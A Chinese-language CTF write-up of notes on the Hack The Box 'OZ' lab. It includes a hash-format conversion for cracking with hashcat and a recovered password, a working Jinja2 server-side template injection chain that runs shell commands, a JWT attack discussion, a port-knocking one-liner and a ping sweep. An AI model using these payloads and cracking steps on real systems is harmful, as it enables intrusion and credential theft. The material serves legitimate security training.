Hack The Box OZ 要点记录

OZ的详细攻略网上已经放出了:https://0xdf.gitlab.io/2019/01/12/htb-oz.htm
这里只对踩过的坑进行记录。

1.目录爆破wfuzz看起来是最好的工具,但你必须熟练掌握过滤器的用法。

2.注入成功后的密码格式转换
hash

一顿google后你会发现这种格式和Django所使用的密码格式非常相似,都是 "密码算法+加密轮数+盐+哈希" 的格式,但是你把hash仍给hashcat破译会发现格式无法识别,Django使用的密码,盐和哈希都是经过base64编码的,而这个串base64并不能解码,还需要进一步转换。正确的解码姿势如下

from passlib.utils import ab64_decode
import binascii
base64.b64encode( ab64_decode('qUh6jZRy02ZrHTz5J6O3sy38Sa1ORoZnVjLz5juo.2E') )

这是一种特殊的ab64的base64编码方案,它比普通的base64编码更短一些。同时还需要对这个密码格式进行一些转换

echo '$pbkdf2-sha256$5000$d47xHsP4P6eUUgoh5BzjfA$jWgyYmxDK.slJYUTsv9V9xZ3WWwcl9EBOsz.bARwGBQ' | gawk '{sub(/^.*-/,"")}$1=$1' FS=\$ OFS=:

输出格式为:sha256:5000:BCDkXKuVMgaAEMJ4z5mzdg==:GNn4Ti/hUyMgoyI7GKGJWeqlZg28RIqSqspvKQq6LWY=这个格式的hash可以被hashcat识别format=10900,明文wizardofoz22

3.利用密码可以登录8080端口的应用,这里有个新的知识叫SSTI攻击,也就是服务端模板注入,参考资料可以参见:https://www.cnblogs.com/tyomcat/p/5440488.html,同时网上发布了自动化攻击工具类似sqlmap,叫做Tplmap,项目地址:https://github.com/epinna/tplmap,手动攻击的步骤如下:

{{ ''.__class__.__mro__[2].__subclasses__()[40]('/tmp/owned.cfg', 'w').write('from subprocess import check_output\n\nRUNCMD = check_output\n') }}
{{ config.from_pyfile('/tmp/owned.cfg') }}
{{ config['RUNCMD']('/usr/bin/id',shell=True) }}

4.在进行SSTI之前,还进行了JWT攻击尝试,可惜这是个陷阱,并没有脆弱性可以利用,但学到了不少JWT的攻击方法。首先是JWT的格式,这是一套cookie设置方案,返回的串共有三段由点号分隔,并经过base64编码,前一段写明了加密方式,中间是用户名等一些辅助信息,最后一段是数字签名,示例数据格式如下:

JWT
在加密方式部分,通常使用HS256(对称密钥)和RS256(非对称密钥),在对称密钥中,有时使用RSA公钥加密,有时使用随机串,RS256则使用RSA公私钥对。本题由于前几步中泄露了公钥,且采用HS256所以想到JWT攻击,但并不奏效。备注一个非常有用的项目https://github.com/swisskyrepo/PayloadsAllTheThings,你可以找个任何需要的载荷。JWT需要暴力破解的话可以参考这个项目:https://github.com/brendan-rius/c-jwt-cracker
SSTI源于继承树爬行

5.端口敲门,这是一个老问题了,发现一个脚本好用记录一下。

ports="40809 50212 46969"; for port in $ports; do echo "a" | nc -u -w 1 10.10.10.96 ${port}; sleep 0.5; done; echo "knock done"; nc -w 1 -nvv 10.10.10.96 22

6.简单的ping扫描,以后不用到处去找了。

$ for i in $(seq 1 254); do ping -c 1 10.100.10.${i} | grep "bytes from"; done;

最后需要恶补的就是docker知识。